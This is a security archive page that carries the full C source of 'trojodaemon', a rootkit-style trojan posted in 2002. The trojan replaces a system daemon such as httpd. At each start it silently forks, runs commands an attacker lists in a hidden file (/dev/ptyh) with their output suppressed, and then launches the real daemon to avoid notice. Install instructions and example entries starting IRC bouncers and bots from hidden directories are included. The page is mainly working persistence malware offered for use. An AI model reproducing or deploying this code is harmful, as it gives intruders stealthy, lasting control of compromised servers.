what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

trojodaemon.c

trojodaemon.c
Posted May 29, 2002
Authored by Devilnet

Trojodaemon is a simple tool which allows you to start a process at boot.

tags | tool, rootkit
systems | unix
SHA-256 | b1fcc4788983fd70ebc08005a5413768ba7bc47799379e6b828fa0c31c48f9eb

trojodaemon.c

Change Mirror Download
/*   ......:::: daemon trojo by DeV^AwaY ::::......
*
*
* [*] --> coded by: DeV^AwaY
* [*] ------------> devilnet@freemail.it
* [*] ------------> ircnet/efnet@DeV^AwaY
* [*] --> V3rsion: 0.2
*
* install:
* To install this trojan you should copy the real daemon in another
* directory !WITH THE SOME NAME!. Then you should compile this source on the
* real daemon file in its some directory.
* So write in /dev/ptyh all path/commands to execute with
* daemon. If you must use options with commands you must divide they
* with the $ character.
* Ex:
*
* cat /dev/ptyh
* /home/hacker/. /psybnc <-- without options
* /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options
* /home/hacker/. $ <-- to run the file ". "
*
* Default
* trojo daemon /usr/sbin/httpd
* real deamon /usr/bin/httpd #EXE_PATH
*
*/

#include <stdio.h>
#include <stdlib.h>

#define TRJ_PATH "/dev/ptyh"
#define EXE_PATH "/usr/bin/httpd"

main (int argc,char **argv,char **envp) {

char fstr[200],**addr=malloc(200),slas[500],slaw[500];
int i,ic=1,deic,sllen;
FILE *ofile;

if (fork() == 0) {
if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0);

while (!feof(ofile)) {
fgets(fstr, 200, ofile);
for (i=0; i<strlen(fstr); i++) if (fstr[i]=='\n') fstr[i]='\0';
addr[ic]=malloc(200);
strcpy(addr[ic],fstr);
ic++;
}

deic=ic-2; ic=0;

while (ic!=deic) {
ic++;
i=0;
memset(slaw, 0, 500);
strcpy(slas,addr[ic]);
sllen=strlen(slas);

while (i!=sllen) {
if (slas[i]=='$') {
(slas[i]='"');
goto out; }
else i++;
}

out:
if (sllen==i) strcat(slas,"\"");
strncpy(slaw,slas,i);
if ((ofile=fopen(slaw,"r"))==NULL) exit(0);
strcpy(addr[ic],slas);
strcpy(addr[ic],"cd \"");

while (sllen!=0) {
if (slas[sllen]=='/') goto out2;
else sllen--;
}
out2:
strncat(addr[ic],slas,sllen);
strcat(addr[ic],"\" && \".");
strcat(addr[ic],slas+sllen);
strcat(addr[ic]," 1>/dev/null 2>/dev/null &");
system(addr[ic]);
}
exit(0);
}

if ((ofile=fopen(EXE_PATH,"r"))==NULL) {
printf("bash: %s: No such file or directory\n",EXE_PATH);
exit(0);
}

execve(EXE_PATH, argv, envp);

}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close